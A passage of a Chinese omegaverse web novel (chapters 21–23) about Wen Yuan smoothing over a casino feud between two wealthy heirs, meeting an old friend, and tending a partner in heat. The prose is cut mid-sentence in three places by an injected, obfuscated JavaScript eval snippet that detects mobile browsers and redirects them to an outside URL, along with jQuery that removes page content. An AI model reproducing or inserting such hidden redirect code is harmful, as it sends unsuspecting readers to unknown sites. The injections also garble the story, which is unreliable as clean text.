“关于赔偿的事情。”闻鸢露出一个恰到好处的人机笑容,“医药费我们会加倍赔付。” 当然,“我们”指的是赵琰一个人。 他瞥了闻鸢一眼,歪了歪头,“还有呢?” 还挺斤斤计较的。 “精神损失费和器械损害费我们会照价赔偿。” 乔之琮皱眉,仿佛并没有听到他满意的答案。 “你是不是忘了一件很重要的事?” “什么?”闻鸢正襟危坐,比听领导训话还要认真。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904779|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 身穿深V衬衫的男人斜靠在沙发上,衣料被流畅的肌肉线条撑得鼓胀,像油画里风度翩翩的俊美王子。 不过这位王子说话却不怎么客气。 “小爷好不容易出来玩一次,却被你的傻逼朋友扰了兴致,这才是你需要弥补的事情。” 逆如天。 她就知道这些来醉金窟的二世祖没一个正常人,所以现在是要怎样,让她扮小丑哄他开心吗? 她装孙子已经够累了,对于当小丑这件事,人不能,至少不应该把本就不多的尊严丢之脑后。 “如果你把我哄高兴了,这件事情就当没发生过。” 不过话又说回来,她只是一只活在阴沟里的鼠鼠,所以以上关于尊严的遐想应该不适用。 那么问题来了,这位乃子比脑子大、连呼吸都算家族业绩的投胎模拟器玩家,究竟怎样才能哄好呢? “要不去赌场转转?”她提议道。 杂乱的灯光像是人工制作的电子彩虹管,晃得人眼睛发酸。 闻鸢抬眼,幽蓝的光线落在眼皮上,像一层薄薄的霜。 他顿了一下,抿了抿唇,薄唇吐出两个字,“无聊。” 闻鸢笑了一下,这是她进门以来第一个真心实意的笑容,笑里带着些狡黠,“一直输的人才会觉得无聊。” “但只要我在场,我不会让你输。” “哦?” 乔之琮似乎被勾起了兴趣,起身抿了口酒,威士忌划过喉咙,灼热的触感让他血液沸腾。 “口气这么大,玩什么?” “桥牌。” “好啊,”他一口饮尽杯中的威士忌,抓起沙发上的外衣,高大的身形迫近闻鸢。 “事先声明,如果我赢不了的话,就罚你脑袋开花,怎么样?” 他一脸平静地说着些血腥的话,灯光落在山根处,抖落一片阴影,像一片深黑色的小水潭。 闻鸢脊背一凉,下意识地咽了口唾沫,心想这人不像是二世祖,倒像是从道上金盆洗手回来的□□老大。 醉金窟的赌场坐落在这栋建筑的最中央,四通八达。荷官身着墨绿色制服,手腕上的表盘反射着灯光,炫耀夺目。 “两个人,开个桥牌厅。”闻鸢把卡递给笑眯眯的应侍生,对方恭谦接过。 “需要beta陪侍吗?” 他熟稔地将小册子递给闻鸢,翻开第一页,上面是一张张P图过猛的脸,身高三围体重性格全部标明,没有一丝隐私可言。 闻鸢不是二世祖,没有要求别人作陪的习惯,于是她把册子递给乔之琮。 乔之琮伸出两根高贵的手指翻看了会儿,眼里的鄙夷几乎化为实质,“一群玻尿酸打多了的俗货。” 他转头把册子扔给前台,侧脸露出冷漠的轮廓,“带路。” 桥牌是四人游戏,他们的对手大概是随机匹配的。 做工精良、花纹繁复的大门上镶着红宝石,雕花廊柱贴着金箔,红黄映衬,奢华富贵,艳得发俗。 兽头门把手被侍者握住,沉重的铜门划开一道口子,露出明红色的天鹅绒地毯。 水沉香缭绕而上,一张俊朗的脸从雾气中浮现,灰质瞳孔漫不经心地划出锋锐弧度,昳丽且熟悉。 闻鸢被那双眼睛盯着,缓缓露出一个尴尬的微笑。 方少爷,好巧啊,你也来赌? 正当她寻思着要怎么打招呼才算体面时,死装哥一句话把她脑子干宕机了。 “哟,方鸣玉,还没被赛车撞死呢?” 他的语气肉眼可见地兴奋起来,好像狗见到骨头那样激动地摇晃尾巴。 闻鸢看到方鸣玉深深吸了一口气,下颌线骤然紧绷,像在给自己做心理建设。 怎么办,好想笑。 路遇嘴臭死装哥,实力强悍,恐怖如斯,拼尽全力,无法战胜。 21. 第 21 章 方鸣玉眉毛一抖,控制不住怒意似的站起来。 正当闻鸢以为他要冲上来给乔之琮一拳的时候,他居然罕见的、毫无理由地平静了下来。 原本可以看到堪比原子弹爆炸的精彩场面,但没想到方鸣玉在挑衅面前生生忍了下来。 这算什么?死装克癫狂? 方鸣玉把紧握的手放到身后,深吸一口气,眉间蓄着怒意,转头看向闻鸢。 “为什么和这种人在一起?” “过来!” 语气有些复杂。有怒其不争的无奈,又夹着不知从何而来的正宫权威,高高在上地质问伴侣为何不忠。 不是,这对吗? 闻鸢还未做任何回应,身后的乔之琮像闻到味似的,伸出长臂拢住闻鸢肩膀,用力往怀里带了带。 “凭什么?我们是一起的。” 被胸肌和腱子肉挤得快不能呼吸的闻鸢:“其实……” 乔之琮低头,在她耳边恶魔低语,“过去还是脑袋开花,自己选吧。” 好家伙,方鸣玉把她当狗一样呼来喝去,乔之琮是要她狗命。 孰轻孰重,她自有分辨。 闻鸢露出一个标准的和事佬笑容,“不玩牌了吗?” 此话一出,周围帮忙整理桌面的侍者才敢动作。 他们麻利地换上新牌面,并为二人换了更昂贵的酒水。 等到落座之后,闻鸢才发现方鸣玉左侧坐着一个黄毛alpha。 在刚刚的对峙中,他安静如鸡,仿佛和廊柱影子融为一体,也难怪她没有发现。 方鸣玉抿了口酒,皱眉。 还没等他说话,黄毛alpha就已经起身到柜台处重新挑了瓶波尔多给他倒上。 柏图斯酒庄所产的波尔多,酒色深厚,气味绵密悠长。 喝了好酒,太子爷的脸色有所缓和,但眉宇间的烦躁却如同房内缭绕的水沉香一般,久久不散。 黄毛alpha将代币挪入下注圈,随后做了个“请”的手势,示意闻鸢下注。 好有礼貌的alpha,肯定不是什么富家公子,所以他大概率是方鸣玉找来充数陪玩的打工人。 真是他乡遇故知,赌场遇同事。 闻鸢取了等量代币,却听到身旁的乔之琮冷哼一声。 “环宇集团破产了?方少就放这么点,在这儿过家家呢?” 他抓起一把小塔似的象牙代币,扔到下注圈中,直勾勾地看着方鸣玉,眼神挑衅。 方鸣玉脸上的不耐烦像是鞋底突然黏上了一块被人嚼过的泡泡糖,连看一眼都觉得恶心。 “你脖子上的东西是装饰吗?知不知道第一次下注不能超过佣金的5%?” “那就提高佣金!” 乔之琮大言不惭地说道,像个有钱没地儿花的暴发户。 有乃子没脑子。 闻鸢以手扶额,突然共情了方鸣玉。 她在心里尴尬一笑,随后扭身在他耳边说道: “乔少爷,这边佣金数额是固定的,第一轮的确不能超过5个,要不咱们第二轮再加?” 乔之琮吃瘪,沉默两秒之后转头暗骂,“什么破规矩,打发乞丐呢?” 闻鸢默默翻了个白眼。 被他称作“打发乞丐”的五个代币,是乔之琮半小时的收入,是中产家庭两年的收入,是下城区居民五年不吃不喝的总收入。 乞丐是谁,不言而喻。 前下城区“乞丐”闻鸢不语,只是一味地把代币数量减到5个。 毕竟她是个懂规矩的好“乞丐”,不像某些脑袋遭驴踢的富家子,连佣金的5%都算不出是多少,简直招笑。 他没脑子这点在打牌中得到初步印证。 第一局,闻鸢凭借极强的算力推断出了对方的牌型分布,好牌在握,胜算飙到98%。 但乔之琮这个2B就是最大的变数。 闻鸢满脸绝望地看他用自己的将牌吃掉了她的赢墩,最后定约崩溃,输得一塌糊涂。 用斗地主来解释一下,他本可以用炸弹去炸地主,结果他选择拆炸弹去管小牌。 方鸣玉看到这番骚操作的时候直接拍桌子大笑,这是少爷进赌场以来唯一一个真心实意的笑容。 少爷,你终于笑了。 什么古早烂梗…… 根据笑容守恒定律,笑容会不断扩张和增长,但宇宙中的笑容总量保持不变。* 几局过后,闻鸢发现自己不会笑了。 对手实力不算强悍,方鸣玉会算牌,但经常算错,陪玩alpha无功无过,表现中规中矩。 看他们这边,闻鸢算力强,但糟糕的运气又很好地掩盖了这一点。 而乔之琮的情况更加匪夷所思。 他牌技奇差,训练过的大猩猩都比他强,但他的运气实在好得……邪门。 用“邪门”这个词太贴切了,因为闻鸢好几次都发现乔之琮经常拿到一把绝世好牌——可以躺赢的那种。 他就像神最宠爱的小儿子一样,全身上下都泛滥着幸运的光辉。 所以只要乔之琮不打乌龙牌,即使局面对他们不利,但总能在关键时刻力挽狂澜。 在闻鸢拼死拼活的努力下,他们的积分变成了方鸣玉组的双倍。 乔之琮看着方鸣玉皱成“川”字的眉头,笑意压都压不住。 快哉快哉,攻守之势易也。 现在只要把积分推到3:1,那下注圈里的筹码都归乔之琮所有,闻鸢也可以愉快下班了。 怀着这样殷切的期待,闻鸢像打了鸡血一样,没有一丁点手软。 在他们组拿下一个小满贯之后,闻鸢瞟了方鸣玉一眼,发现他居然在刷手机。 ……已经开始摆烂了吗? 行吧,早死早超生。 乔之琮似乎也注意到方鸣玉心不在焉,见缝插刀道: “怎么?玩不起就别玩儿了,快点认输吧,承认你技不如人有那么可耻吗?” 这MVP也是让他当上了。 很自如嘛…… 论技术方鸣玉吊打他十二条街,方鸣玉最应该承认的就是他没找到闻鸢一样的神队友带他。 但乔之琮似乎没有这种自知之明,继续侃侃而谈,眼神中散发着“我终于压你一头”的得意光彩。 “况且,无论从哪个方面看,我都比你优秀,从小到大都是如此,你无需自卑。” 方鸣玉划拉屏幕的手指终于停了下来。 他抬起头,像听到什么地狱笑话一样,不可置信地抬眼瞧他,像在嘲笑一只伪装成人类的大猩猩。 “跟我比,你也配?” “老子在世青赛上夺冠的时候,你姑姑还在给你找多动症医生呢。” “去看看脑子吧,乔之琮,你的情况的确不容乐观。” 好骂。 闻鸢叹为观止,很想跑出去买桶超大份爆米花。 她咬住下嘴唇,生怕自己没憋住直接笑出声。 扭头看去,只见乔之琮把牌狠狠攮在赌桌上,声音气得颤抖。 “你不就会游泳吗?除了这个你还会干什么?” “总比什么都不会的人强,哦不对,你这头脑简单四肢发达的家伙,打架还是挺在行的。” “不过这么多年你还是没打过乔之瑜。” “丢人现眼。” 没开玩笑,闻鸢眼睁睁地看着乔之琮的脸色阴沉了一大半。 不愧是从小一起长大的宿敌,每一句话都戳在对方肺管子上。 场面乱成一团,但鉴于赌桌太大,不能提供足以让他们打架的亲密距离,所以他们一直在互揭老底对骂。 听了十分钟后闻鸢觉得无聊,于是按开手机屏幕,抽空给泽诺回了个消息。 赵琰进了急诊,情况基本稳定。 闻鸢让泽诺回家再打一次抑制剂,防止半夜发热。 【少爷】你那边如何? 【闻鸢】很顺利,在进行后续收尾工作,晚点回来,你先睡。 不知不觉间,那个黄毛站到闻鸢身边,嘴里嚼着泡泡糖,优哉游哉的样子,“劝不动,怎么办?” “等他们累了会停下的。”闻鸢点开扫雷小程序,熟稔回复道。 “你的朋友,像个超雄。”黄毛难以言喻地扭头看她。 评价很中肯,但请不要带上她。 “我就是个陪玩,跟他不熟。”闻鸢立马否定道。 “哦。”黄毛点点头,平淡回应道,“我已经通知裴老板了,他待会儿就来。” “他是管事的?” 触雷了,刺目的红字飘出,宣告游戏失败。 闻鸢终于看了眼黄毛,表情有些好奇。 “嗯。”黄毛没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904780|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再多言,一幅讳莫如深的样子,“他们会打起来吗?” 闻鸢重新点开一局,耸了耸肩,看热闹不嫌事大,“反正不会打到我。” “可我想下班了,妹妹还在家里等我。” 黄毛用舌头抵了抵颊肌,表情带着点视死如归,“如果他们想撒气,打我也成。” “大不了受点伤,还能拿笔医药费。” 手指微顿,闻鸢第一次仔细地打量面前这个alpha。 黄发透着营养不良的干枯,眼睑下的劣质粉底难以掩盖常年熬夜带来的青黑。 闻鸢甚至能够脑补他们的家庭情况: alpha哥哥在赌场打工供妹妹上学,妹妹铆足了劲儿地学,一心想改变命运。 这可不是为赚眼泪编造的情节,是下城区真实的、比比皆是的可怜人配置。 现在看两个衣食无忧的alpha因为这点破事在这里吵得不可开交,闻鸢就有点想笑。 说实话,就算他们其中一个被打残,她都不会感到一丁点难过。 但对于普通人具体的苦难,她无法做到熟视无睹。 她横身拦住想要插手的黄毛,随后将手机甩进对方怀里。 银质鸢尾花手链在灯下划出一道冷冽的弧光,细碎钻石折射出点点光芒。 “你还是待这儿玩扫雷吧,可别输了。” 她转头望着alpha,浅棕色的眼睛不辨喜怒,却莫名可靠。 “我会让你早点下班的。” “我保证。” 话音刚落,乔之琮被方鸣玉攘了一下,狼狈地撞在储酒柜上。 中看不中用的酒柜晃了两下,吐出两瓶陈年红酒。 羊毛地毯被酒液渗透,暗红色的酒渍异常瞩目。 一双黑色皮靴踏过污渍,alpha突袭而来的拳头被闻鸢握住。 方鸣玉顿了一下,收敛了身上的戾气,但语气仍旧冰冷,“这是我们两个人的事,你别管。” “冷静点,方鸣玉,下周你就要参赛了,不要给自己增加舆论负担。” 说到参赛,他果然理智了一些,冰锥一样的狠厉目光在闻鸢的注视下一点点融化。 闻鸢握着他的手腕,将他的手放回身侧。 手指在腕骨内侧点了点,像是苦口婆心的告诫。 方鸣玉眉心一动,反手握住她的手指,试探性地捏了捏。 beta的指甲被修剪得很圆润,五指攥在手心里,像被风雨打折后缩在他掌心中的花茎。 心仪的beta在关心他。 一想到这点,方鸣玉就忍不住勾起嘴角。 感受到alpha逐渐软化的态度,一旁的闻鸢闭了闭眼,忍痛出卖色相。 方鸣玉这头灰狼终于收回了自己的爪牙,他后退一步,风衣后摆遮住二人交握的双手。 他居高临下地看着乔之琮,像在施舍自己的仁慈,“行了,到此为止,别让人看笑话了。” 好烂的结束语。 乔之琮被成功逗笑了,他吊儿郎当地靠回座椅中,抬起脚踝放在膝盖上。 “怎么?不敢跟我打架?你才是那个笑话!” “需要我让你一只手吗?爸宝男?” 这句话堪比点燃火药桶的最后一根火柴。 “你找死!” 方鸣玉突然暴起,力大如牛,闻鸢使尽了吃奶的力气都拉不动他。 眼看拳头就要落到乔之琮面门,闻鸢在内心尖叫,只觉得今晚肯定要跟帽子叔叔喝茶了。 天杀的!她只想早点下班,她有什么错? “方少好兴致。” 沉重的大门被骤然打开,高大的保镖围拢过来,将方鸣玉和乔之琮隔开。 层层人墙分列两侧,整训有素,保镖后退一步,让出一条通道。 闻鸢抬头,在一众黑衣保镖中看到了那个所谓的裴老板。 beta,黑色短发,桃花眼下长着一颗泪痣,雌雄莫辨的完美脸蛋曾引得无数追求者折腰。 闻鸢很震惊,但并不是因为他出众的容貌,而是因为她认识这个人。 裴昭明,下城区居民,闻鸢曾经的老邻居兼好朋友。 十多年过去了,没想到再次重逢,场面颇有戏剧性。 两人都人模狗样地穿着当季最新款高奢,用最华丽的皮囊包裹住最不堪的过往。 22. 第 22 章 那双潋滟的桃花眼在二人之间逡巡了一会,眼神落到闻鸢身上时,微不可察地顿了一下。 他敛眉,涌动的暗流被掩藏得很好。 秾丽的眉眼如工笔重彩,一笔一画皆染着灼灼风华。 “二人有什么不顺心的事,不妨坐下来谈。” “赌场招待多有不周,还请二位谅解。” “招待?裴老板带这么多保镖,把我们当犯人审了?” 乔之琮轻嗤一声,象牙代币在他指缝间灵巧游走。 裴昭明轻笑一声,声音潺潺动听,“当然不是。” 他挥手,黄毛得到指令,带领保镖鱼贯而出,还不忘把铜门关上。 “我来捎个话,碰巧遇到他们在巡逻罢了。” 他扭头,往赌桌走去,手指捻起一张梅花K,笑意盈盈道: “乔之瑜女士刚刚致电醉金窟,询问你的动向。” “如果乔少爷不在半小时内赶回去见她,她会亲自莅临。” 手指一翻,梅花K转了个面,红色的细密涡卷纹如同某种威严的警示。 “啧。多管闲事。” 话虽这样说,身体却很诚实。 乔之琮跺了跺脚,伸手将衬衫上的扣子规规矩矩地扣好。 “小爷今天心情好,不跟你们一般见识。” 他站起来,抓起沙发上的衣服,路过方鸣玉时停下来挑衅似的说道: “听说你遇到了技术瓶颈?需要我给你找个新教练吗?” 方鸣玉横眉冷对,“你还是先应付乔之瑜吧,可别像上次那样,被她打到脑震荡。” “闭嘴!” 乔之琮咬了咬后槽牙,狠狠踹了一脚旁边的垃圾桶。 另外三个正常人看着垃圾桶应声倒地,谁也没有说话,像在看一个幼稚荒谬、随意撒泼的超雄小男孩。 气氛有些许尴尬,但因为过于匪夷所思,甚至染上了点幽默色彩。 他忿忿地走出去几步,却发现一直在他身边的那个女beta没跟上来。 这让他——一个习惯了被小弟簇拥出行的富家子——很没面子。 于是他倏然扭头,呼唤道:“那个谁?走啊!” 闻鸢像个开小差却被老师突然点名的学生一样,猛地抬头,脸上茫然无措。 死装哥双手插兜,脸色阴沉,方鸣玉双唇紧抿,面容冷肃。 手心手背都是史的感觉。 站在身后的裴昭明冷不丁地开口道:“闻小姐和乔少的卡都放在前台,你们一起下去拿一下吧。” 一句话把闻鸢从水深火热之中拯救了出来。 闻鸢感激地看了他一眼,却发现对方神色漠然,妍丽的桃花眼中毫无波澜。 像是不认识她一样。 有点奇怪。 闻鸢压下心中那点难以言喻的情绪,转头跟上乔之琮。 电梯合上的那一刻,被擦拭得光洁如镜的电梯门倒映出她苍白清瘦的脸庞。 她蓦地有些难受。 裴昭明忘记她了吗? 还是为了划清界限,故意装作不认识? 无论是哪种答案都让闻鸢心里堵得发慌。 乔之琮没骨头似的靠在一旁,眼神百无聊赖地在闻鸢身上打转。 “今天你做得很好。”他表扬道,心里想到方鸣玉吃瘪的臭脸,不由得一阵畅快。 闻鸢捏紧双拳,尽量调整好自己的表情,“那医药费和损失费的账单……” “哦,那个啊,”他毫不在乎地摆了摆手,很是宽容大度的样子,“今天小爷开心,一笔勾销了。” 那个alpha的生命权益甚至没有他的开心重要。 虽然不是第一次遇到这种人了,但闻鸢还是莫名不爽。 “我是说,账单可以寄给我们一份,我们会负责赔偿。” “至于道歉,我想……” “道歉?你居然妄想让赵琰道歉?”他像是听到什么趣闻轶事一样,乐了起来。 不是这样的。 她对这些天龙人没抱幻想。 她揉了揉眉心,目光平静却带着一丝倦意,“我的意思是,我会尽量说服赵家派个代表安抚伤者。” 乔之琮很奇怪地瞥了她一眼,并不觉得这有什么必要,“麻烦。” 电梯门打开,话题到此终结。 闻鸢到前台签名确认信息,侍者把卡递给她,却被乔之琮半路截胡。 黑沉沉的眼睛盯着姓名那一栏,嘴角勾起一个了然的笑容。 “原来你叫闻……鸟。闻鸟?好奇怪的名字,你爸妈怎么想的?” “闻鸟,你怎么了?” 救救我救救我救救我…… 我嘞个有边读边,没边读中间啊! 谁来把这个绝望的文盲收走! 她原本以为乔之琮是个高中就辍学的富二代,没想到他只上完了小学。 说真的,他爸妈怎么想的,养这样一个废物不如养只边牧。 毕竟边牧是边牧,狗是狗,而人可能连狗都不如。 闻鸢释然地笑了。 旁边的前台看不下去了,善意提醒道:“乔先生,那个字念yuan。” 乔之琮才恍然大悟般挠头道:“啊——看岔了。鸢嘛!我知道,小学古诗里学过。” 这番话更加坐实了他的小学文凭。 二人两两相望,无语凝噎。 “乔先生,您的手机。”那个被丢在冰桶里的手机被恭恭敬敬地呈到他面前。 侍者面上有些忐忑,“已经烘干了,但在水里泡了好些时候,不知道能不能打开。” 这儿的服务态度也太好了,连乔之琮随手丢的破烂都有人收拾。 乔之琮拿过来,神色淡淡道:“不妨事,这是防水手机。” 手指一按侧面按键,厂商logo跳出,随后是花里胡哨且极度杂乱的手机界面。 ……那请问把手机丢到冰桶里的意义在? 刚刚高看他一眼了,还以为是气血方刚叛逆酷帅地反抗他姐,结果就这? bro只是单纯想测试下手机的防水功能。 真是滑天下之大稽。 今天受到的精神污染已经超过她的底线,闻鸢不想跟这个大纱帽待一块儿了。 “乔少,没什么事的话我就先走了,回见!” 回见?回见个屁,再也不见! “等等!” 乔之琮唤住她。 闻鸢装作没听见,嗖地一下从旋转门那儿溜出去,速度堪比火箭。 她钻到车里呆了将近二十分钟,眼见着乔、方二人都驱车离开,才悄悄松了一口气。 鸢尾花手链被她摘下来放到包里,她改换神色,一脸着急地奔向前台。 “我的手链不见了,可能刚刚不小心掉到房间里了,我能上去找找吗?” “需要带路吗,女士?” “不用,我记得路。”闻鸢信誓旦旦。 前台思考再三,犹豫了一下后便让保镖放她进去。 熟悉的血红色地毯重新映入眼帘,闻鸢七绕八拐,越发觉得设计师脑袋进水。 好好的赌场搞成迷宫。 鞋尖刚踏入走廊拐角,闻鸢便听见裴昭明淡漠的声音响起。 “我说得很清楚了,别再纠缠。” 闻鸢一顿,立马收住腿,藏在墙后偷瞄。 只见裴昭明和另一个女alpha站在巨大的落地窗前,气氛紧绷。 女alpha上前一步,哀求道:“昭明,求你给我一次机会。” 勉强称得上是清秀的双眼忽然浮现出莫名其妙的挣扎和妥协,仿佛她变卖了全部家产来博裴昭明一句喜欢。 结果这货双眼发红,额角青劲爆起,艰难地挤出了句: “我把命都给你。” 绿江给命文学典型受害者。 而且病的不轻。 闻鸢一直以为读者能区分台词中的夸张成分,没想到真有傻帽把自己当红眼霸总。 这很难评。 一旁的裴昭明估计也被雷得不轻,只见他将手揣到兜里,抽出一包烟。 手指夹着一根细烟,白皙的皮肤让人联想到月亮周围萦绕的那层光晕。 他没点燃,只是把烟夹在手里,回头轻飘飘、慢悠悠地说了句: “净给些没人要的东西。” 杀伤力极大的一句话。 他的嘴也是毒得没边。 alpha大受打击地后退一步,露出被当众揭老底的羞愤神色,“你……你说什么?” 裴昭明被她问得不耐烦,秀雅的眉毛皱起,“听不懂吗?你的命不值钱,也没人想要。” “趁我还不想叫保镖之前,赶紧滚蛋。” 话说得很不客气,但足够有效。 女alpha神色不虞,低低地骂了一句“清高什么?二级beta而已,贱骨头一个。” 裴照昭明抬眼,眼神带着冰冷审视的寒光,她立马噤若寒蝉,扭身快速走开了。 alpha这种生物,就是能上一秒能含情脉脉地告白,下一秒就露出恶臭本性。 那块宽阔的空间安静了一会儿,冷白的月光和室内金色的暖光照在他身上,把他分成两半。 闻鸢站在原地踌躇良久,却忽然听到对方清泠泠的声音响起。 “你还要站在那里多久?” 桃花眼移过来,探究的视线将闻鸢打量了个遍。 闻鸢攥紧手掌,从墙角后挪出,抬头与他直视:“我应该说句好久不见吗?” “的确很久了。” 裴昭明很轻地笑了一下,视线未曾挪开半分。 熟悉的焦躁混杂着说不清道不明的情愫,正以狂风暴雨之势袭来。 他下意识地将烟放入唇中,吸了一口后才猛然发现根本没有点燃。 他拧眉,指尖在兜里逡巡一圈,却发现打火机不翼而飞。 送走方鸣玉后他在房间里抽了支烟,估计是把打火机落下了。 牙齿碾过烟头,在女人似有若无的打量中,他忽然有些窘迫。 指尖刚触上烟头,一道橙黄色火光贴心地跃出。 六边形柱体外边镀着一层银色漆面,波浪纹理做了浮凸设计,质感上佳。 闻鸢拇指一滑,熟稔地将打火机关上,放回包里。 “没想到一别多年,你已经变成大老板了。” 裴昭明掩下神色中的幽昧难明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904781|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,吐出一个烟圈,“沾了朋友的光而已。” 女beta轮廓分明的侧脸与记忆重合,他半垂着眼,问道:“你呢?在哪里高就?” 闻鸢咧开嘴,露出一个自嘲的笑意:“我?说出来你可能不信。” 他眨了眨眼,试图在她身上找到以前的影子,却徒劳地发现这只不过是刻舟求剑。 他记得小时候的闻鸢立誓成为一名法官,所以这是他的第一个答案。 闻鸢摇了摇头。 “律师?” 还是摇头。 一连说了好几个相近的职业后,仍然没有得到正确答案。 猜谜游戏变得无聊起来。 他懒洋洋地转过脸,眼里映出商区的繁华和奢靡。 “总归不可能是医生。” “并非不可能。”闻鸢冷不丁地回话,“就是医生。” 裴昭明有点想笑,但他觉得这样不好。于是他想了个折中的办法——转过头偷偷笑。 但颤抖的肩膀和憋笑的气声还是出卖了他。 闻鸢莫名其妙地看着他,“笑什么?” 他轻轻呼出一口气,眉梢仍透着笑意,揶揄道:“还记得小时候你说过什么吗?” 闻鸢当然不记得,于是裴昭明帮她回忆。 “小时候写作文,题目是《我的梦想》……” “等等!” 死去的回忆开始攻击闻鸢。 当时她对学医这件事表现出极端的抗拒,裴昭明问她为什么。 秀丽的眉毛一拧,面容稚嫩但神色老成的小学生吐槽道: “苦、累、学费贵、没钱赚。我是脑子里粘了泡泡糖才会去学医。” 然后,仿佛是为了证明自己的决心,她大言不惭地立誓:“与其学医,我宁愿去当池塘里的王八!” 那个池塘可谓是远近闻名,臭名昭著,当然,是字面意思上的臭。 因为懒得换水,所以池里只养了乌龟。藻类和其他残渣飘在水面,绿油油的一片,护眼但倒人胃口。 闻鸢每次经过那里都要干呕。 回旋镖遁入时光漂泊了数年,然后像装了导航似的一头扎到闻鸢身上。 求生活放过二旬老人。 酸臭的下水道味顺着记忆涌向肠胃,闻鸢觉得现在去死一死更合适。 虽然但是,闻鸢还是想为自己的忘本行为做个辩护,毕竟生活就是一坨只能食用不能细品的勾石。 “没办法,选择大于努力,而命运大于选择。” “所以,爱学,要学,学一辈子。” 怨毒的神色配上慷慨激昂的语调,产生了音画不同步的奇妙效果。 不知道哪句话踩到了裴昭明的笑点,他忽然无所顾忌地开怀大笑起来,笑得甚至呛咳了起来。 咳完之后继续笑。 还有完没完! 她有些无奈地看着裴昭明笑弯了腰,随口转移话题道:“裴阿姨身体怎么样?” 笑着的男人顿了一下,擦干眼角的泪水,深深吸了一口烟,没说话。 气氛凝固下来。闻鸢知道说错了话,恨不得咬掉自己的舌头。 周身烟雾缭绕,眼睛里的暗涌一闪而过,片刻后归于平静。 重若千钧的痛苦被他说得轻飘飘的。 “啊,她得肺痨去了。” “那已经是我高中的事了。” 他抬手轻抖烟灰,刻骨的伤痛仿佛随着灰烬消失在璀璨的霓虹灯下。 闻鸢安静地看他掸烟灰,问道:“这几年你过得怎么样?” “还好。” 他淡淡道,糜艳的眼睛里一片荒芜。 骗人。 闻鸢上前一步,隔着衣料捏住他的手腕,以示安慰。 这是小时候的习惯。 裴昭明是心口不一的那种人,就算难过得要死也会说自己“还好”。 所以闻鸢会拉住他的手腕,表示自己愿意和他一起分享痛苦。 以前的裴昭明会事无巨细地和她坦诚,可现在的他不会了。 姝丽的眉眼杂糅着浅淡的笑意,他像闻鸢一样转移话题道:“那些公子哥儿不好伺候吧?” “凑活吧,别把他们当正常人就好。” 闻鸢松手,和他站得很近,二人的肩膀几乎碰在一起。 他们重新变成了话多的小学生,一聊就聊到半夜,最后是泽诺打了个电话过来,闻鸢才终于和他告别。 裴昭明站在落地窗前,挺阔的身姿被身后的繁华映衬得更加矜贵。 昳丽的眉眼像裹在湿漉漉的夜色中,艳丽灼人眼球,连身后的雾气都带着胭脂色的余温。 多看几眼还是会觉得美得惊人。 回到长岛的闻鸢仍旧在品味老友的美貌,开灯后却发现泽诺裹着被子缩成一团,衣柜里的衣服凌乱地铺在周围。 房间里的信息素浓度高得令人发指,净化器功率开到最大,看起来已经工作了很久。 她一秒都没带犹豫,“啪”地一声把灯关了。 但为时已晚。 那团隆起的衣物中钻出一张汗津津的脸,沙哑的声音中带着难耐的颤抖。 “闻鸢?” “我好难受,要抱抱。” 23. 第 23 章 床头灯被他打开。 泽诺直起身,真丝睡衣领口大开。 他怀里抱着闻鸢的贴身衣物,白色的吊带被他捏得皱巴巴的,上面还有可疑的水痕。 他乖顺地低头,背过身,肩膀绷得很直,“腺体不舒服,你帮我看看。” 尾音透着喑哑,像是引人掉进陷阱然后吞吃入腹的精怪。 蝴蝶骨暴露在昏黄灯光下,白玉般的肌肤冷而润。 “抑制剂打了吗?” 闻鸢走近,跪坐在床上。 “早打了。” 温热贴上来,蝴蝶骨蹭着,一下又一下,像是在委婉地邀请。 闻鸢不动如山,握住他的肩膀,拉开了距离。 “先让我看看腺体。” 腺体不出意外地肿了起来,充血严重。 粘稠的水渍渗出来,蹭到闻鸢衣领上。 闻鸢眼神暗了暗,哑声说道:“腺体暂时没有问题,只是抑制剂生效需要时间。” “已经一个小时了。”他双手撑在床|上,不满地嘟囔道,蓝色眼睛看向闻鸢,眼神委屈得很。 闻鸢不紧不慢地从床头柜里拿出抑制颈环,“先戴颈环测一下数值。” 银色颈环刚碰到他的肌肤,却被他扭头躲开。 “不要!” 大少爷又开始发脾气了。 闻鸢压住内心的暴躁,挤出耐心安抚道:“马上就好了,听话,乖。” 就像养了一只坏脾气的狗狗,出门遛弯前主人要连哄带骗才能给他带上链子。 可惜坏狗死活不配合。 在闻鸢第二次尝试未果之后,他直接挥手打掉了颈环。 “我才不要戴!” 颈环在地上跳了两下,撞到桌脚,裂开一道缝隙,电子屏幕短路似的闪了闪。 